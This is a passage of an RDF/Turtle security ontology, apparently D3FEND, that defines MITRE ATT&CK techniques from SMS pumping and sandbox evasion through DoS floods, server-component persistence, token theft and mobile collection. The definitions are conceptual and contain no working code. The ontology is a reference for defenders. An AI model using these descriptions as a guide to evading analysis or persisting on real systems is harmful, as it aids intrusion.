    rdfs:label "SMS Pumping" ;
    d3f:attack-id "T1496.003" ;
    d3f:definition "Adversaries may leverage messaging services for SMS pumping, which may impact system and/or hosted service availability.(Citation: Twilio SMS Pumping) SMS pumping is a type of telecommunications fraud whereby a threat actor first obtains a set of phone numbers from a telecommunications provider, then leverages a victim’s messaging infrastructure to send large amounts of SMS messages to numbers in that set. By generating SMS traffic to their phone number set, a threat actor may earn payments from the telecommunications provider.(Citation: Twilio SMS Pumping Fraud)" ;
    rdfs:subClassOf d3f:T1496 .

d3f:T1496.004 a owl:Class ;
    rdfs:label "Cloud Service Hijacking" ;
    d3f:attack-id "T1496.004" ;
    d3f:definition "Adversaries may leverage compromised software-as-a-service (SaaS) applications to complete resource-intensive tasks, which may impact hosted service availability." ;
    rdfs:subClassOf d3f:T1496 .

d3f:T1497.001 a owl:Class ;
    rdfs:label "System Checks" ;
    d3f:attack-id "T1497.001" ;
    d3f:definition "Adversaries may employ various system checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness)" ;
    rdfs:subClassOf d3f:T1497 .

d3f:T1497.002 a owl:Class ;
    rdfs:label "User Activity Based Checks" ;
    d3f:attack-id "T1497.002" ;
    d3f:definition "Adversaries may employ various user activity checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness)" ;
    rdfs:subClassOf d3f:T1497 .

d3f:T1497.003 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Time Based Evasion" ;
    d3f:attack-id "T1497.003" ;
    d3f:definition "Adversaries may employ various time-based methods to detect and avoid virtualization and analysis environments. This may include enumerating time-based properties, such as uptime or the system clock, as well as the use of timers or other triggers to avoid a virtual machine environment (VME) or sandbox, specifically those that are automated or only operate for a limited amount of time." ;
    d3f:may-invoke d3f:GetSystemTime ;
    d3f:may-run d3f:SystemTimeApplication ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:may-invoke ;
            owl:someValuesFrom d3f:GetSystemTime ],
        [ a owl:Restriction ;
            owl:onProperty d3f:may-run ;
            owl:someValuesFrom d3f:SystemTimeApplication ],
        d3f:T1497 .

d3f:T1498.001 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Direct Network Flood" ;
    d3f:attack-id "T1498.001" ;
    d3f:creates d3f:InboundInternetNetworkTraffic ;
    d3f:definition "Adversaries may attempt to cause a denial of service (DoS) by directly sending a high-volume of network traffic to a target. This DoS attack may also reduce the availability and functionality of the targeted system(s) and network. [Direct Network Flood](https://attack.mitre.org/techniques/T1498/001)s are when one or more systems are used to send a high-volume of network packets towards the targeted service's network. Almost any network protocol may be used for flooding. Stateless protocols such as UDP or ICMP are commonly used but stateful protocols such as TCP can be used as well." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:creates ;
            owl:someValuesFrom d3f:InboundInternetNetworkTraffic ],
        d3f:T1498 .

d3f:T1498.002 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Reflection Amplification" ;
    d3f:attack-id "T1498.002" ;
    d3f:definition "Adversaries may attempt to cause a denial of service (DoS) by reflecting a high-volume of network traffic to a target. This type of Network DoS takes advantage of a third-party server intermediary that hosts and will respond to a given spoofed source IP address. This third-party server is commonly termed a reflector. An adversary accomplishes a reflection attack by sending packets to reflectors with the spoofed address of the victim. Similar to Direct Network Floods, more than one system may be used to conduct the attack, or a botnet may be used. Likewise, one or more reflectors may be used to focus traffic on the target.(Citation: Cloudflare ReflectionDoS May 2017) This Network DoS attack may also reduce the availability and functionality of the targeted system(s) and network." ;
    d3f:produces d3f:InboundInternetNetworkTraffic ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:produces ;
            owl:someValuesFrom d3f:InboundInternetNetworkTraffic ],
        d3f:T1498 .

d3f:T1499.001 a owl:Class ;
    rdfs:label "OS Exhaustion Flood" ;
    d3f:attack-id "T1499.001" ;
    d3f:definition "Adversaries may launch a denial of service (DoS) attack targeting an endpoint's operating system (OS). A system's OS is responsible for managing the finite resources as well as preventing the entire system from being overwhelmed by excessive demands on its capacity. These attacks do not need to exhaust the actual resources on a system; the attacks may simply exhaust the limits and available resources that an OS self-imposes." ;
    rdfs:subClassOf d3f:T1499 .

d3f:T1499.002 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Service Exhaustion Flood" ;
    d3f:attack-id "T1499.002" ;
    d3f:definition "Adversaries may target the different network services provided by systems to conduct a denial of service (DoS). Adversaries often target the availability of DNS and web services, however others have been targeted as well.(Citation: Arbor AnnualDoSreport Jan 2018) Web server software can be attacked through a variety of means, some of which apply generally while others are specific to the software being used to provide the service." ;
    d3f:produces d3f:InboundInternetNetworkTraffic ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:produces ;
            owl:someValuesFrom d3f:InboundInternetNetworkTraffic ],
        d3f:T1498,
        d3f:T1499 .

d3f:T1499.003 a owl:Class ;
    rdfs:label "Application Exhaustion Flood" ;
    d3f:attack-id "T1499.003" ;
    d3f:definition "Adversaries may target resource intensive features of applications to cause a denial of service (DoS), denying availability to those applications. For example, specific features in web applications may be highly resource intensive. Repeated requests to those features may be able to exhaust system resources and deny access to the application or the server itself.(Citation: Arbor AnnualDoSreport Jan 2018)" ;
    rdfs:subClassOf d3f:T1499 .

d3f:T1499.004 a owl:Class ;
    rdfs:label "Application or System Exploitation" ;
    d3f:attack-id "T1499.004" ;
    d3f:definition "Adversaries may exploit software vulnerabilities that can cause an application or system to crash and deny availability to users. (Citation: Sucuri BIND9 August 2015) Some systems may automatically restart critical applications and services when crashes occur, but they can likely be re-exploited to cause a persistent denial of service (DoS) condition." ;
    rdfs:subClassOf d3f:T1499 .

d3f:T1500 a owl:Class ;
    rdfs:label "Compile After Delivery" ;
    d3f:attack-id "T1500" ;
    d3f:definition "Adversaries may attempt to make payloads difficult to discover and analyze by delivering files to victims as uncompiled code. Similar to [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027), text-based source code files may subvert analysis and scrutiny from protections targeting executables/binaries. These payloads will need to be compiled before execution; typically via native utilities such as csc.exe or GCC/MinGW.(Citation: ClearSky MuddyWater Nov 2018)" ;
    rdfs:comment "This technique has been revoked by T1027.004" ;
    rdfs:seeAlso d3f:T1027.004 ;
    rdfs:subClassOf d3f:DefenseEvasionTechnique ;
    owl:deprecated true .

d3f:T1501 a owl:Class ;
    rdfs:label "Systemd Service" ;
    d3f:attack-id "T1501" ;
    d3f:definition "Systemd services can be used to establish persistence on a Linux system. The systemd service manager is commonly used for managing background daemon processes (also known as services) and other system resources.(Citation: Linux man-pages: systemd January 2014)(Citation: Freedesktop.org Linux systemd 29SEP2018) Systemd is the default initialization (init) system on many Linux distributions starting with Debian 8, Ubuntu 15.04, CentOS 7, RHEL 7, Fedora 15, and replaces legacy init systems including SysVinit and Upstart while remaining backwards compatible with the aforementioned init systems." ;
    rdfs:comment "This technique has been revoked by T1543.002" ;
    rdfs:seeAlso d3f:T1543.002 ;
    rdfs:subClassOf d3f:PersistenceTechnique ;
    owl:deprecated true .

d3f:T1502 a owl:Class ;
    rdfs:label "Parent PID Spoofing" ;
    d3f:attack-id "T1502" ;
    d3f:definition "Adversaries may spoof the parent process identifier (PPID) of a new process to evade process-monitoring defenses or to elevate privileges. New processes are typically spawned directly from their parent, or calling, process unless explicitly specified. One way of explicitly assigning the PPID of a new process is via the <code>CreateProcess</code> API call, which supports a parameter that defines the PPID to use.(Citation: DidierStevens SelectMyParent Nov 2009) This functionality is used by Windows features such as User Account Control (UAC) to correctly set the PPID after a requested elevated process is spawned by SYSTEM (typically via <code>svchost.exe</code> or <code>consent.exe</code>) rather than the current user context.(Citation: Microsoft UAC Nov 2018)" ;
    rdfs:comment "This technique has been revoked by T1134.004" ;
    rdfs:seeAlso d3f:T1134.004 ;
    rdfs:subClassOf d3f:DefenseEvasionTechnique,
        d3f:PrivilegeEscalationTechnique ;
    owl:deprecated true .

d3f:T1503 a owl:Class ;
    rdfs:label "Credentials from Web Browsers" ;
    d3f:attack-id "T1503" ;
    d3f:definition "Adversaries may acquire credentials from web browsers by reading files specific to the target browser.  (Citation: Talos Olympic Destroyer 2018)" ;
    rdfs:comment "This technique has been revoked by T1555.003" ;
    rdfs:seeAlso d3f:T1555.003 ;
    rdfs:subClassOf d3f:CredentialAccessTechnique ;
    owl:deprecated true .

d3f:T1504 a owl:Class ;
    rdfs:label "PowerShell Profile" ;
    d3f:attack-id "T1504" ;
    d3f:definition "Adversaries may gain persistence and elevate privileges in certain situations by abusing [PowerShell](https://attack.mitre.org/techniques/T1086) profiles. A PowerShell profile  (<code>profile.ps1</code>) is a script that runs when PowerShell starts and can be used as a logon script to customize user environments. PowerShell supports several profiles depending on the user or host program. For example, there can be different profiles for PowerShell host programs such as the PowerShell console, PowerShell ISE or Visual Studio Code. An administrator can also configure a profile that applies to all users and host programs on the local computer. (Citation: Microsoft About Profiles)" ;
    rdfs:comment "This technique has been revoked by T1546.013" ;
    rdfs:seeAlso d3f:T1546.013 ;
    rdfs:subClassOf d3f:PersistenceTechnique,
        d3f:PrivilegeEscalationTechnique ;
    owl:deprecated true .

d3f:T1505.001 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "SQL Stored Procedures" ;
    d3f:attack-id "T1505.001" ;
    d3f:creates d3f:StoredProcedure ;
    d3f:definition "Adversaries may abuse SQL stored procedures to establish persistent access to systems. SQL Stored Procedures are code that can be saved and reused so that database users do not waste time rewriting frequently used SQL queries. Stored procedures can be invoked via SQL statements to the database using the procedure name or via defined events (e.g. when a SQL server application is started/restarted)." ;
    d3f:invokes d3f:CreateProcess ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:creates ;
            owl:someValuesFrom d3f:StoredProcedure ],
        [ a owl:Restriction ;
            owl:onProperty d3f:invokes ;
            owl:someValuesFrom d3f:CreateProcess ],
        d3f:T1505 .

d3f:T1505.002 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Transport Agent" ;
    d3f:adds d3f:MessageTransferAgent ;
    d3f:attack-id "T1505.002" ;
    d3f:definition "Adversaries may abuse Microsoft transport agents to establish persistent access to systems. Microsoft Exchange transport agents can operate on email messages passing through the transport pipeline to perform various tasks such as filtering spam, filtering malicious attachments, journaling, or adding a corporate signature to the end of all outgoing emails.(Citation: Microsoft TransportAgent Jun 2016)(Citation: ESET LightNeuron May 2019) Transport agents can be written by application developers and then compiled to .NET assemblies that are subsequently registered with the Exchange server. Transport agents will be invoked during a specified stage of email processing and carry out developer defined tasks." ;
    d3f:modifies d3f:MailServer ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:modifies ;
            owl:someValuesFrom d3f:MailServer ],
        [ a owl:Restriction ;
            owl:onProperty d3f:adds ;
            owl:someValuesFrom d3f:MessageTransferAgent ],
        d3f:T1505 .

d3f:T1505.004 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "IIS Components" ;
    d3f:adds d3f:Software ;
    d3f:attack-id "T1505.004" ;
    d3f:definition "Adversaries may install malicious components that run on Internet Information Services (IIS) web servers to establish persistence. IIS provides several mechanisms to extend the functionality of the web servers. For example, Internet Server Application Programming Interface (ISAPI) extensions and filters can be installed to examine and/or modify incoming and outgoing IIS web requests. Extensions and filters are deployed as DLL files that export three functions: <code>Get{Extension/Filter}Version</code>, <code>Http{Extension/Filter}Proc</code>, and (optionally) <code>Terminate{Extension/Filter}</code>. IIS modules may also be installed to extend IIS web servers.(Citation: Microsoft ISAPI Extension Overview 2017)(Citation: Microsoft ISAPI Filter Overview 2017)(Citation: IIS Backdoor 2011)(Citation: Trustwave IIS Module 2013)" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:adds ;
            owl:someValuesFrom d3f:Software ],
        d3f:T1505 .

d3f:T1505.005 a owl:Class ;
    rdfs:label "Terminal Services DLL" ;
    d3f:attack-id "T1505.005" ;
    d3f:definition "Adversaries may abuse components of Terminal Services to enable persistent access to systems. Microsoft Terminal Services, renamed to Remote Desktop Services in some Windows Server OSs as of 2022, enable remote terminal connections to hosts. Terminal Services allows servers to transmit a full, interactive, graphical user interface to clients via RDP.(Citation: Microsoft Remote Desktop Services)" ;
    rdfs:subClassOf d3f:T1505 .

d3f:T1505.006 a owl:Class ;
    rdfs:label "vSphere Installation Bundles" ;
    d3f:attack-id "T1505.006" ;
    d3f:definition "Adversaries may abuse vSphere Installation Bundles (VIBs) to establish persistent access to ESXi hypervisors. VIBs are collections of files used for software distribution and virtual system management in VMware environments. Since ESXi uses an in-memory filesystem where changes made to most files are stored in RAM rather than in persistent storage, these modifications are lost after a reboot. However, VIBs can be used to create startup tasks, apply custom firewall rules, or deploy binaries that persist across reboots. Typically, administrators use VIBs for updates and system maintenance." ;
    rdfs:subClassOf d3f:T1505 .

d3f:T1506 a owl:Class ;
    rdfs:label "Web Session Cookie" ;
    d3f:attack-id "T1506" ;
    d3f:definition "Adversaries can use stolen session cookies to authenticate to web applications and services. This technique bypasses some multi-factor authentication protocols since the session is already authenticated.(Citation: Pass The Cookie)" ;
    rdfs:comment "This technique has been revoked by T1550.004" ;
    rdfs:seeAlso d3f:T1550.004 ;
    rdfs:subClassOf d3f:DefenseEvasionTechnique,
        d3f:LateralMovementTechnique ;
    owl:deprecated true .

d3f:T1507 a owl:Class ;
    rdfs:label "Network Information Discovery - ATTACK Mobile" ;
    d3f:attack-id "T1507" ;
    d3f:definition "Adversaries may use device sensors to collect information about nearby networks, such as Wi-Fi and Bluetooth." ;
    rdfs:comment "This technique has been revoked by T1421" ;
    rdfs:seeAlso d3f:T1421 ;
    rdfs:subClassOf d3f:ATTACKMobileCollectionTechnique ;
    owl:deprecated true ;
    skos:prefLabel "Network Information Discovery" .

d3f:T1508 a owl:Class ;
    rdfs:label "Suppress Application Icon - ATTACK Mobile" ;
    d3f:attack-id "T1508" ;
    d3f:definition "A malicious application could suppress its icon from being displayed to the user in the application launcher to hide the fact that it is installed, and to make it more difficult for the user to uninstall the application. Hiding the application's icon programmatically does not require any special permissions." ;
    rdfs:comment "This technique has been revoked by T1628.001" ;
    rdfs:seeAlso d3f:T1628.001 ;
    rdfs:subClassOf d3f:ATTACKMobileDefenseEvasionTechnique ;
    owl:deprecated true ;
    skos:prefLabel "Suppress Application Icon" .

d3f:T1509 a owl:Class ;
    rdfs:label "Non-Standard Port - ATTACK Mobile" ;
    d3f:attack-id "T1509" ;
    d3f:definition "Adversaries may generate network traffic using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088 or port 587 as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data." ;
    rdfs:subClassOf d3f:ATTACKMobileCommandAndControlTechnique ;
    skos:prefLabel "Non-Standard Port" .

d3f:T1510 a owl:Class ;
    rdfs:label "Clipboard Modification - ATTACK Mobile" ;
    d3f:attack-id "T1510" ;
    d3f:definition "Adversaries may abuse clipboard functionality to intercept and replace information in the Android device clipboard.(Citation: ESET Clipboard Modification February 2019)(Citation: Welivesecurity Clipboard Modification February 2019)(Citation: Syracuse Clipboard Modification 2014) Malicious applications may monitor the clipboard activity through the <code>ClipboardManager.OnPrimaryClipChangedListener</code> interface on Android to determine when the clipboard contents have changed.(Citation: Dr.Webb Clipboard Modification origin2 August 2018)(Citation: Dr.Webb Clipboard Modification origin August 2018) Listening to clipboard activity, reading the clipboard contents, and modifying the clipboard contents requires no explicit application permissions and can be performed by applications running in the background, however, this behavior has changed with the release of Android 10.(Citation: Android 10 Privacy Changes)" ;
    rdfs:comment "This technique has been revoked by T1641.001" ;
    rdfs:seeAlso d3f:T1641.001 ;
    rdfs:subClassOf d3f:ATTACKMobileImpactTechnique ;
    owl:deprecated true ;
    skos:prefLabel "Clipboard Modification" .

d3f:T1512 a owl:Class ;
    rdfs:label "Video Capture - ATTACK Mobile" ;
    d3f:attack-id "T1512" ;
    d3f:definition "An adversary can leverage a device’s cameras to gather information by capturing video recordings. Images may also be captured, potentially in specified intervals, in lieu of video files." ;
    rdfs:subClassOf d3f:ATTACKMobileCollectionTechnique ;
    skos:prefLabel "Video Capture" .

d3f:T1513 a owl:Class ;
    rdfs:label "Screen Capture - ATTACK Mobile" ;
    d3f:attack-id "T1513" ;
    d3f:definition "Adversaries may use screen capture to collect additional information about a target device, such as applications running in the foreground, user data, credentials, or other sensitive information. Applications running in the background can capture screenshots or videos of another application running in the foreground by using the Android `MediaProjectionManager` (generally requires the device user to grant consent).(Citation: Fortinet screencap July 2019)(Citation: Android ScreenCap1 2019) Background applications can also use Android accessibility services to capture screen contents being displayed by a foreground application.(Citation: Lookout-Monokle) An adversary with root access or Android Debug Bridge (adb) access could call the Android `screencap` or `screenrecord` commands.(Citation: Android ScreenCap2 2019)(Citation: Trend Micro ScreenCap July 2015)" ;
    rdfs:subClassOf d3f:ATTACKMobileCollectionTechnique ;
    skos:prefLabel "Screen Capture" .

d3f:T1514 a owl:Class ;
    rdfs:label "Elevated Execution with Prompt" ;
    d3f:attack-id "T1514" ;
    d3f:definition "Adversaries may leverage the AuthorizationExecuteWithPrivileges API to escalate privileges by prompting the user for credentials.(Citation: AppleDocs AuthorizationExecuteWithPrivileges) The purpose of this API is to give application developers an easy way to perform operations with root privileges, such as for application installation or updating.  This API does not validate that the program requesting root privileges comes from a reputable source or has been maliciously modified. Although this API is deprecated, it still fully functions in the latest releases of macOS. When calling this API, the user will be prompted to enter their credentials but no checks on the origin or integrity of the program are made. The program calling the API may also load world writable files which can be modified to perform malicious behavior with elevated privileges." ;
    rdfs:comment "This technique has been revoked by T1548.004" ;
    rdfs:seeAlso d3f:T1548.004 ;
    rdfs:subClassOf d3f:PrivilegeEscalationTechnique ;
    owl:deprecated true .

d3f:T1516 a owl:Class ;
    rdfs:label "Input Injection - ATTACK Mobile" ;
    d3f:attack-id "T1516" ;
    d3f:definition "A malicious application can inject input to the user interface to mimic user interaction through the abuse of Android's accessibility APIs." ;
    rdfs:subClassOf d3f:ATTACKMobileDefenseEvasionTechnique,
        d3f:ATTACKMobileImpactTechnique ;
    skos:prefLabel "Input Injection" .

d3f:T1517 a owl:Class ;
    rdfs:label "Access Notifications - ATTACK Mobile" ;
    d3f:attack-id "T1517" ;
    d3f:definition "Adversaries may collect data within notifications sent by the operating system or other applications. Notifications may contain sensitive data such as one-time authentication codes sent over SMS, email, or other mediums. In the case of Credential Access, adversaries may attempt to intercept one-time code sent to the device. Adversaries can also dismiss notifications to prevent the user from noticing that the notification has arrived and can trigger action buttons contained within notifications.(Citation: ESET 2FA Bypass)" ;
    rdfs:subClassOf d3f:ATTACKMobileCollectionTechnique,
        d3f:ATTACKMobileCredentialAccessTechnique ;
    skos:prefLabel "Access Notifications" .

d3f:T1519 a owl:Class ;
    rdfs:label "Emond" ;
    d3f:attack-id "T1519" ;
    d3f:definition "Adversaries may use Event Monitor Daemon (emond) to establish persistence by scheduling malicious commands to run on predictable event triggers. Emond is a [Launch Daemon](https://attack.mitre.org/techniques/T1160) that accepts events from various services, runs them through a simple rules engine, and takes action. The emond binary at <code>/sbin/emond</code> will load any rules from the <code>/etc/emond.d/rules/</code> directory and take action once an explicitly defined event takes place. The rule files are in the plist format and define the name, event type, and action to take. Some examples of event types include system startup and user authentication. Examples of actions are to run a system command or send an email. The emond service will not launch if there is no file present in the QueueDirectories path <code>/private/var/db/emondClients</code>, specified in the [Launch Daemon](https://attack.mitre.org/techniques/T1160) configuration file at<code>/System/Library/LaunchDaemons/com.apple.emond.plist</code>.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019)" ;
    rdfs:comment "This technique has been revoked by T1546.014" ;
    rdfs:seeAlso d3f:T1546.014 ;
    rdfs:subClassOf d3f:PersistenceTechnique,
        d3f:PrivilegeEscalationTechnique ;
    owl:deprecated true .

d3f:T1520 a owl:Class ;
    rdfs:label "Domain Generation Algorithms - ATTACK Mobile" ;
    d3f:attack-id "T1520" ;
    d3f:definition "Adversaries may use [Domain Generation Algorithms](https://attack.mitre.org/techniques/T1520) (DGAs) to procedurally generate domain names for command and control communication, and other uses such as malicious application distribution.(Citation: securelist rotexy 2018)" ;
    rdfs:comment "This technique has been revoked by T1637.001" ;
    rdfs:seeAlso d3f:T1637.001 ;
    rdfs:subClassOf d3f:ATTACKMobileCommandAndControlTechnique ;
    owl:deprecated true ;
    skos:prefLabel "Domain Generation Algorithms" .

d3f:T1521.001 a owl:Class ;
    rdfs:label "Symmetric Cryptography - ATTACK Mobile" ;
    d3f:attack-id "T1521.001" ;
    d3f:definition "Adversaries may employ a known symmetric encryption algorithm to conceal command and control traffic, rather than relying on any inherent protections provided by a communication protocol. Symmetric encryption algorithms use the same key for plaintext encryption and ciphertext decryption. Common symmetric encryption algorithms include AES, Blowfish, and RC4." ;
    rdfs:subClassOf d3f:T1521 ;
    skos:prefLabel "Symmetric Cryptography" .

d3f:T1521.002 a owl:Class ;
    rdfs:label "Asymmetric Cryptography - ATTACK Mobile" ;
    d3f:attack-id "T1521.002" ;
    d3f:definition "Adversaries may employ a known asymmetric encryption algorithm to conceal command and control traffic, rather than relying on any inherent protections provided by a communication protocol. Asymmetric cryptography, also known as public key cryptography, uses a keypair per party: one public that can be freely distributed, and one private that should not be distributed. Due to how asymmetric algorithms work, the sender encrypts data with the receiver’s public key and the receiver decrypts the data with their private key. This ensures that only the intended recipient can read the encrypted data. Common public key encryption algorithms include RSA, ElGamal, and ECDSA." ;
    rdfs:subClassOf d3f:T1521 ;
    skos:prefLabel "Asymmetric Cryptography" .

d3f:T1521.003 a owl:Class ;
    rdfs:label "SSL Pinning - ATTACK Mobile" ;
    d3f:attack-id "T1521.003" ;
    d3f:definition "Adversaries may use [SSL Pinning](https://attack.mitre.org/techniques/T1521/003)  to protect the C2 traffic from being intercepted and analyzed." ;
    rdfs:subClassOf d3f:T1521 ;
    skos:prefLabel "SSL Pinning" .

d3f:T1522 a owl:Class ;
    rdfs:label "Cloud Instance Metadata API" ;
    d3f:attack-id "T1522" ;
    d3f:definition "Adversaries may attempt to access the Cloud Instance Metadata API to collect credentials and other sensitive data." ;
    rdfs:comment "This technique has been revoked by T1552.005" ;
    rdfs:seeAlso d3f:T1552.005 ;
    rdfs:subClassOf d3f:CredentialAccessTechnique ;
    owl:deprecated true .

d3f:T1523 a owl:Class ;
    rdfs:label "Evade Analysis Environment - ATTACK Mobile" ;
    d3f:attack-id "T1523" ;
    d3f:definition "Malicious applications may attempt to detect their operating environment prior to fully executing their payloads. These checks are often used to ensure the application is not running within an analysis environment such as a sandbox used for application vetting, security research, or reverse engineering." ;
    rdfs:comment "This technique has been revoked by T1633.001" ;
    rdfs:seeAlso d3f:T1633.001 ;
    rdfs:subClassOf d3f:ATTACKMobileDefenseEvasionTechnique,
        d3f:ATTACKMobileDiscoveryTechnique ;
    owl:deprecated true ;
    skos:prefLabel "Evade Analysis Environment" .

d3f:T1525 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Implant Internal Image" ;
    d3f:adds d3f:ContainerImage ;
    d3f:attack-id "T1525" ;
    d3f:definition "Adversaries may implant cloud or container images with malicious code to establish persistence after gaining access to an environment. Amazon Web Services (AWS) Amazon Machine Images (AMIs), Google Cloud Platform (GCP) Images, and Azure Images as well as popular container runtimes such as Docker can be implanted or backdoored. Unlike [Upload Malware](https://attack.mitre.org/techniques/T1608/001), this technique focuses on adversaries implanting an image in a registry within a victim’s environment. Depending on how the infrastructure is provisioned, this could provide persistent access if the infrastructure provisioning tool is instructed to always use the latest image.(Citation: Rhino Labs Cloud Image Backdoor Technique Sept 2019)" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:adds ;
            owl:someValuesFrom d3f:ContainerImage ],
        d3f:PersistenceTechnique .

d3f:T1526 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Cloud Service Discovery" ;
    d3f:attack-id "T1526" ;
    d3f:definition "An adversary may attempt to enumerate the cloud services running on a system after gaining access. These methods can differ from platform-as-a-service (PaaS), to infrastructure-as-a-service (IaaS), or software-as-a-service (SaaS). Many services exist throughout the various cloud providers and can include Continuous Integration and Continuous Delivery (CI/CD), Lambda Functions, Azure AD, etc. They may also include security services, such as AWS GuardDuty and Microsoft Defender for Cloud, and logging services, such as AWS CloudTrail and Google Cloud Audit Logs." ;
    d3f:reads d3f:CloudConfiguration ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:reads ;
            owl:someValuesFrom d3f:CloudConfiguration ],
        d3f:DiscoveryTechnique .

d3f:T1527 a owl:Class ;
    rdfs:label "Application Access Token" ;
    d3f:attack-id "T1527" ;
    d3f:definition "Adversaries may use application access tokens to bypass the typical authentication process and access restricted accounts, information, or services on remote systems. These tokens are typically stolen from users and used in lieu of login credentials." ;
    rdfs:comment "This technique has been revoked by T1550.001" ;
    rdfs:seeAlso d3f:T1550.001 ;
    rdfs:subClassOf d3f:DefenseEvasionTechnique,
        d3f:LateralMovementTechnique ;
    owl:deprecated true .

d3f:T1528 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Steal Application Access Token" ;
    d3f:accesses d3f:AccessToken ;
    d3f:attack-id "T1528" ;
    d3f:definition "Adversaries can steal application access tokens as a means of acquiring credentials to access remote systems and resources." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:accesses ;
            owl:someValuesFrom d3f:AccessToken ],
        d3f:CredentialAccessTechnique .

d3f:T1529 a owl:Class ;
    rdfs:label "System Shutdown/Reboot" ;
    d3f:attack-id "T1529" ;
    d3f:definition "Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) (e.g. <code>reload</code>).(Citation: Microsoft Shutdown Oct 2017)(Citation: alert_TA18_106A)" ;
    rdfs:subClassOf d3f:ImpactTechnique .

d3f:T1530 a owl:Class ;
    rdfs:label "Data from Cloud Storage" ;
    d3f:attack-id "T1530" ;
    d3f:definition "Adversaries may access data from cloud storage." ;
    rdfs:subClassOf d3f:CollectionTechnique .

d3f:T1531 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Account Access Removal" ;
    d3f:attack-id "T1531" ;
    d3f:definition "Adversaries may interrupt availability of system and network resources by inhibiting access to accounts utilized by legitimate users. Accounts may be deleted, locked, or manipulated (ex: changed credentials) to remove access to accounts. Adversaries may also subsequently log off and/or perform a [System Shutdown/Reboot](https://attack.mitre.org/techniques/T1529) to set malicious changes into place.(Citation: CarbonBlack LockerGoga 2019)(Citation: Unit42 LockerGoga 2019)" ;
    d3f:modifies d3f:UserAccount ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:modifies ;
            owl:someValuesFrom d3f:UserAccount ],
        d3f:ImpactTechnique .

d3f:T1532 a owl:Class ;
    rdfs:label "Archive Collected Data - ATTACK Mobile" ;
    d3f:attack-id "T1532" ;
    d3f:definition "Adversaries may compress and/or encrypt data that is collected prior to exfiltration. Compressing data can help to obfuscate its contents and minimize use of network resources. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender." ;
    rdfs:subClassOf d3f:ATTACKMobileCollectionTechnique ;
    skos:prefLabel "Archive Collected Data" .

d3f:T1533 a owl:Class ;
    rdfs:label "Data from Local System - ATTACK Mobile" ;
    d3f:attack-id "T1533" ;
    d3f:definition "Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to exfiltration." ;
    rdfs:subClassOf d3f:ATTACKMobileCollectionTechnique ;
    skos:prefLabel "Data from Local System" .

d3f:T1534 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Internal Spearphishing" ;
    d3f:attack-id "T1534" ;
    d3f:definition "After they already have access to accounts or systems within the environment, adversaries may use internal spearphishing to gain access to additional information or compromise other users within the same organization. Internal spearphishing is multi-staged campaign where a legitimate account is initially compromised either by controlling the user's device or by compromising the account credentials of the user. Adversaries may then attempt to take advantage of the trusted internal account to increase the likelihood of tricking more victims into falling for phish attempts, often incorporating [Impersonation](https://attack.mitre.org/techniques/T1656).(Citation: Trend Micro - Int SP)" ;
    d3f:produces d3f:Email ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:produces ;
            owl:someValuesFrom d3f:Email ],
        d3f:LateralMovementTechnique .

d3f:T1535 a owl:Class ;
    rdfs:label "Unused/Unsupported Cloud Regions" ;
    d3f:attack-id "T1535" ;
    d3f:definition "Adversaries may create cloud instances in unused geographic service regions in order to evade detection. Access is usually obtained through compromising accounts used to manage cloud infrastructure." ;
    rdfs:subClassOf d3f:DefenseEvasionTechnique .

d3f:T1536 a owl:Class ;
    rdfs:label "Revert Cloud Instance" ;
    d3f:attack-id "T1536" ;
